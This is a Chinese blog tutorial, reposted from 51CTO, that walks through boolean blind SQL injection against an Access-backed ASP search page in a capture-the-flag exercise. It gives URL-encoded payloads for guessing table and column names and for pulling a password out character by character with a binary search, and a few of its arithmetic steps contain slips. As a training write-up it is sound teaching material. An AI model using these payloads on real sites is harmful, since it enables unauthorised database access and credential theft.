access数据库注入

余二五 2017-11-16

数据库 测试 空格 Access

    access数据库渐渐的被很多人遗忘

   而大部分安全人员也对access数据库也不感冒。

   最近在西晋学院玩了玩它的web题目,没想到在西晋上面看到不少的asp的题。其中不乏有数据库注入的。

   access数据库并不像mysql那样方便,可以拥有information_schema这个包含数据各种数据库,表以及字段信息的“新华字典”。

   虽然有一个msysobjects,但是大多情况下即使管理员也没办法读取其里的信息,因为读取它需要设置权限。

   下面从西晋学院里面的access盲注来说一下。

   1、前提准备

   一个Firefox火狐浏览器

   TamperData--拦截每一个我们发出的web请求


   2、分析请求

    我们先看一下正常请求返回的内容

   wKiom1WICCPgs44xAAFMi1tNMkc432.jpg 

   一、我们选择我们的TamperData插件,

   wKioL1WICOeDU6qNAADXbiqD4BI281.jpg

   二、开启tamper,准备拦截请求。在输入框输入我们的测试值

   Eg:(1)输入“1”

wKiom1WIHtnwACGrAAHHe_yA4D4566.jpg

           发现返回页面没有内容

wKiom1WIBy-x1zZyAABkIuGDzMo741.jpg

       (2)输入“'”

wKiom1WIBqGSfYeuAACnpoht7c8861.jpg

              发现出现数据库报错。根据报错信息,可以知道数据库使用jet database引擎。而access正是使用这种的引擎,我们基本可以确定后端数据库是access。同时可以猜测我们的这里是搜索型注入,我们输入的数据被两个%%包住。

        猜测后端数据库的查询语句为:

            'select 标题,内容,时间 from news where 标题 like %(输入)%'

   三、确定注入类型

   (1)首先由单引号报错我们可以确定,这里是字符串引起的数据库注入

   (2)准备验证数据:

     Eg:(1)输入“' and '%'='”

     这里解释一下,因为这里的注入是搜索注入。注入点在"%input%"的input处,所以当我们利用单引号闭合之前的语句时,需要平衡单引号的数目。上面的验证数据在数据库的查询中变成

     select 标题,内容,时间 from news where 标题 like '%' and '%'='%'

     注意一下,红色部分使我们的验证数据,可以看到我们通过字符串相等来平衡单引号数据。后面的逻辑部分“'%'='%'”为真,也就是对于前面的查询不造成影响。我们来看看返回的内容。


wKioL1WICduh6L1GAADL83bS0zM414.jpg


   (3)分析与思考

     可以看到这里完全没有效果,但是按照数据库查询,'%'表示匹配所有内容,也就是我们应该可以看到和原来一致的页面。但是这里没有出来。

     那么是不是我们的验证数据被后台处理了?导致我们的数据没有起到真实的作用。

      这个时候我们应该利用报错的来帮助我们确定后台数据库所做的处理。

      我们把最后面的单引号去掉,这时候发生了错误。我们来分析一下返回的错误信息,可以看到我们的payload原本是有空格,但是在数据库查询中却没有,也就是后台会将输入去除空格。

wKiom1WICLWip50rAAFIYM6vlGA378.jpg

      那我们修正我们的输入,我们将我们的内容空格进行url编码,就是'%20'。这个时候我们,我再看看返回什么样的信息。

     Eg: '%20and%20'%'=

wKiom1WIGeui8KM1AAFIYM6vlGA872.jpg

     可以看到此时返回的报错信息中,已经存在了空格了,也就是我们的修正成功。我们补回去掉的单引号。

     再次测试,Eg:'%20and%20'%'='

wKiom1WIGeuRSFI3AADcgaUFxJs782.jpg

      页面倒是正常了,可是没有数据呀。这时,我们又的修正我们的测试数据了。有些同学想测试'&&',这个和and关键字有着一样功能的运算符。但是注意一下在access中&为字符串连接符,这和其他数据库不一致。

     我们这时候稍微翻转一下思维就可以相处,要是and不行,那么or呢?

      Eg:'%20or%20'%'='

wKioL1WIHESQs-nMAAIuJSq0w5s304.jpg

      结果说明一切,可以看到页面返回的内容和原来的一样的。这时候我们再看回sql语句现在的表示。

     select 标题,内容,时间 from news where 标题 like '%' or '%'='%'

     这是,or '%'='%'恒真,也就是会检索出所有内容来。

     这时候我们该怎样进行下一步呢?


    四、开始干大事了

    说在前面:

           很多人在这里会疑惑了,一个这样注入点该怎样利用。一般来说,这里只能执行逻辑判断,也就是这里的注入是布尔类型的注入。我们要注入的内容在'%'和or之间,并且用and运算符。

     一个测试便是:

     select 标题,内容,时间 from news where 标题 like '%' and 1=1 or '%'='%'

    (1)对于access数据来说,如果不能利用msysobjects的话,我们只能暴力破解表名、字段名了,而这个往往需要一个表名字典、字段名字典。

     以前很常用的明小子、DSQL等工具在进行access数据注入的时候,也是通过字典来爆破表名和字段名。

    用到的payload如下

     '%20and%20exists(select%20*%20from%20[表名])%20or%20'%'='

     我们通过不断变化表名,只要表名是常见的并且在我们的字典中,我们就可以破解出表名和字段名。

    如图,因为这里是ctf,所以猜测表名admin、ctf、keys、flag、flags、pass、manager。最终只有manager生效。

     admin表不存在

wKiom1WIGsfTw7jCAAGiXYIcgvM155.jpg

  manager表存在

wKioL1WIHH7zZ_OrAAHwFXBQMl0646.jpg



    其实这个表名并非博主猜的,是使用sqlmap的字典爆出来的。但是字段名却是博主自己猜出来的。虽然sqlmap字典也有,~~~~(>_<)~~~~ 

     但是sqlmap在爆破出表名之后不给力了,因为它布尔盲注用的是and而不是or,所以之后无法猜测是表名的字段数,然后就不工作了。

     猜测字段名很简单,将上面的*换成字段名即可。

     '%20and%20exists(select%20[字段名]%20from%20[表名])%20or%20'%'='

     这里猜,当然是猜通关的钥匙,flag、flags、password、passwords、keys、key、pass。最后猜出来是pass,有没有内流满面的结果。

      wKiom1WIGx3SVcRsAAI4AHk4bk8630.jpg

    (2)之后就是重头戏了,我们已经把表名和字段名才出了,我们先看看有多少个数据以及数据的长度。

数据的行数比2小或者等于2

wKiom1WIG-CCuPTdAAFsOwFSYJw725.jpg

数据的行数比1小或者等于1

wKioL1WIHZjAqpkNAAFNIjcBlaA590.jpg

可以看到数据的行数为一

wKiom1WIG-DQv_AQAAIy0HE_2nU614.jpg

      '%20and%20(select%20count(*)%20from%20manager)>2%20or%20'%'='

    可以看到这里只有一行数据。然后我们使用len()函数测试该数据的长度 


     '%20and%20(select%20len(pass)%20from%20manager)>10%20or%20'%'='

    可以看到,返回正常页面。说明数据长度大于10.

      '%20and%20(select%20len(pass)%20from%20manager)>20%20or%20'%'='

wKiom1WIHWvyDvmIAAFQnEnQN7M997.jpg

    返回空白的页面,数据长度小于20

      '%20and%20(select%20len(pass)%20from%20manager)>15%20or%20'%'='

     返回空白的页面,数据长度小于15

     '%20and%20(select%20len(pass)%20from%20manager)>13%20or%20'%'='

     返回空白页面,数据长度小于13

      '%20and%20(select%20len(pass)%20from%20manager)>11%20or%20'%'='

     返回正常页面,数据长度大于11

     '%20and%20(select%20len(pass)%20from%20manager)>12%20or%20'%'='

     返回页面空白,数据长度小于或等于12,根据上一次测试,知道长度等于12

   

    (3)

     往后,我们需要用到个函数,一个

     mid(string,start,length)这个用来截取字符串的,

      |string是要截取的字符串        |

      |start是截取的字符串开始索引|

      |length是要截取的字符串长度 | 

     asc(char)这个用来讲一个字符转换为对应的ascii数值

      |char为需要转换的字符

     我们这里需要修正payload来将pass盲注出来,a的ascii数值为97,先判断是否为小写的ascii的值

  '%20and%20asc(mid((select%20pass%20from%20manager),1,1))>97%20or%20'%'='

wKioL1WIH0ujn-wSAAFQ-gOW_4Y320.jpg

      可以看到这里返回的页面并没有内容,也就说第一个字符对应的ascii值小于97。这里我们修改为57,判断是否为数字

  '%20and%20asc(mid((select%20pass%20from%20manager),1,1))>57%20or%20'%'='

wKiom1WIHazQW7PuAAJZrQwmmc0861.jpg

      可以看到返回正常页面,也就是第一个字母不是数字。剩下我们测试大写的字母,范围65~90。采用而二分法,修改为78=(65+90/2)

  '%20and%20asc(mid((select%20pass%20from%20manager),1,1))>78%20or%20'%'='

wKioL1WIH2OjRo7DAAJcLpE757I961.jpg

       返回正常页面,说明比78大。修改为(78+90)/2=84

  '%20and%20asc(mid((select%20pass%20from%20manager),1,1))>84%20or%20'%'='

wKioL1WIH76jwJ-ZAAFVO2hsiYA942.jpg


        返回空页面,说明比84小,现在范围限制在[78,84]之间,取81

  '%20and%20asc(mid((select%20pass%20from%20manager),1,1))>81%20or%20'%'='

wKiom1WIHgfRQOMnAAJWlVituFQ458.jpg

       返回正常页面,说明比81大,取82作为测试数值。

  '%20and%20asc(mid((select%20pass%20from%20manager),1,1))>82%20or%20'%'='

        返回正常页面,说明比82大,取83作为测试数值

  '%20and%20asc(mid((select%20pass%20from%20manager),1,1))>83%20or%20'%'='

        返回页面正常,说明比84大,测试是否等于84

  '%20and%20asc(mid((select%20pass%20from%20manager),1,1))=84%20or%20'%'='

        查表可以知道,第一个字符为“T”

     (4)后续的内容,我们只需要修改mid的第二个参数为2,即可盲注第二个字符。更多的内容可以参考,我之前的帖子,关于使用python盲注mysql的,核心的还是二分法。

       链接:ClickMe










本文转自 qq414207614 51CTO博客,原文链接:http://blog.51cto.com/skytina/1664236,如需转载请自行联系原作者
登录 后评论
下一篇
云栖号资讯小编
11821人浏览
2020-07-13
相关推荐
SQL注入天书
1324人浏览
2017-11-16 16:46:00
BT5里sqlmap注入
877人浏览
2017-11-09 03:50:00
远程注入DLL的例子
584人浏览
2008-09-10 17:40:00
Sqlmap使用教程
2125人浏览
2017-11-12 20:17:00
SQL 注入脚本学习笔记
665人浏览
2017-10-11 12:51:27
SQL注入详解-1
757人浏览
2017-11-08 21:51:00
sqlmap注入分类
945人浏览
2018-02-28 11:08:00
0
0
0
1085